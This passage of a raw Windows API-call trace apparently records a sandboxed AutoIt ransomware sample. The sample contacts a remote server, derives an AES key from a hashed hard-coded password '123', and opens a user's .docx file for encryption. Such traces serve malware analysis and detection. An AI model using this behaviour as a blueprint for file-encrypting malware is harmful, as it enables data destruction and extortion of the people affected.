[0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="osa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.710] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.711] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.711] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.711] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.711] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.711] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.711] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.711] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0071.711] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.711] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.711] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.712] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.712] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.712] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.712] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.712] CloseHandle (hObject=0x0) returned 0 [0071.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.712] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0071.713] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.713] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.714] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.714] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.714] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.714] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.714] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.714] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.715] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.715] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.715] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.716] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.716] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0071.716] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.716] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.717] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.717] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.717] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.718] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.718] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.718] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.718] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.718] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.718] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.718] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.718] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.718] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.718] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.719] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.719] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.719] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.719] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.719] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.719] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.720] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.720] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.720] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.720] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.721] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.721] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.721] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.721] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.721] CryptHashData (hHash=0x164c2f0, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.722] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.722] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.722] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.722] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.722] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c2f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0071.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.723] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.723] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.723] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.723] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.723] CryptDestroyHash (hHash=0x164c2f0) returned 1 [0071.723] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.723] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wefosa.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.724] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.724] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.724] PeekMessageW (in: lpMsg=0x130f164, 